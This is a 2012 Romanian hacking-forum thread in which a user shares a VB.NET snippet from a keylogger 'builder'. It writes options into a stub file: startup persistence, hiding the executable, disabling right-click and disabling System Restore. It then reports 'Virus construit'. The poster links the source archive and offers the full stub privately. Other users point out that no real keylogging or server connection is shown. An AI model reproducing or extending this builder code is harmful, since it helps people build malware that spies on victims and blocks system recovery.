[VB.NET-SNIPPET] Fragmente de cod pentru keyloggere

[raynor009]

Salut, astazi in timp ce ma uitam peste niste programe vechi am de peste un keylogger pe care il facusem cu mult timp in urma. Asa ca am sa va arat cateva fragmente de cod care s-ar putea sa va fie de folos in viitor .

Sa va arat ceva simplu:

Imports System.IO
Public Class Form1
    Dim R009, tbox1 As String
    Const raynor009 = "hacer :D"
    Dim strup, hideexe, rclick, syres As Boolean

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If CheckBox1.Checked = True Then [COLOR="#00FF00"]'Se adauga la startup daca este setat ca si true[/COLOR]
            strup = True
        Else : strup = False
        End If

        If CheckBox2.Checked = True Then [COLOR="#00FF00"]'Ascunde executabilul dupa ce a fost pornit[/COLOR]
            hideexe = True
        Else : hideexe = False
        End If



        If CheckBox3.Checked = True Then [COLOR="#00FF00"]'Dezeactivea click dreapta.[/COLOR]
            rclick = True
        Else : rclick = False
        End If


        If CheckBox4.Checked = True Then [COLOR="#00FF00"]'Dezactiveaza system restore.[/COLOR]
            syres = True
        Else : syres = False
        End If


        [COLOR="#00FF00"]' Aiic vine partea cand construim programul[/COLOR]
        FileOpen(1, Application.StartupPath & "\" & TextBox1.Text, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, R009 & raynor009 & tbox1 & raynor009 & strup & raynor009 & hideexe & raynor009 & rclick & raynor009 & syres & raynor009)
        FileClose(1)
        [COLOR="#00FF00"]'Un Simplu mesaj care ne avertizeaza ca programul a fost construit cu succes.[/COLOR]
        MsgBox("Virus contsruit.", MsgBoxStyle.Information, "Succes")

    End Sub

Si c-am asa se face un program care creeaza keyloggere.

Mai jos aveti sursa daca nu va descurcati!

WindowsApplication1.rar

Edited January 31, 2012 by raynor009

[Nytro]

Nu vad keylogger-ul...

[PassaMan]

Acolo sunt doar niste linii de ascunderea executabilului dupa rularea lui, si o parte in care se "salveaza" tastele care au fost apasate, dar conectarea dintre server si client nu exista. Daca am gresit , te rog sa ma corectezi.

[Fro]

Categoria se numeste Programare, nu 'Coduri haxx pt sk';

Cineva poate invata din aceasta resursa.

Felicitari raynor009. Multumim pentru share-uire.

[raynor009]

Ce intelegeti voi prin snippet?

Acolo sunt doar niste linii de ascunderea executabilului dupa rularea lui, si o parte in care se "salveaza" tastele care au fost apasate, dar conectarea dintre server si client nu exista. Daca am gresit , te rog sa ma corectezi.

PassaMan daca vrei sursa completa pot sa tio trimit prin PM. Acolo este programul complet cu Stub si mai multe optiuni.... Asta era doar o demonstratie din optiunile pe care le poti adauga la un keylogger sau builder cum vrei tu sa ii spui.

Edited January 31, 2012 by raynor009

[me.mello]

"If CheckBox3.Checked = True Then" apai la cate controale sunt imi umplu vs-ul de "snipeturile tale":))

[u0m3]

Ne arati si "hideexe"?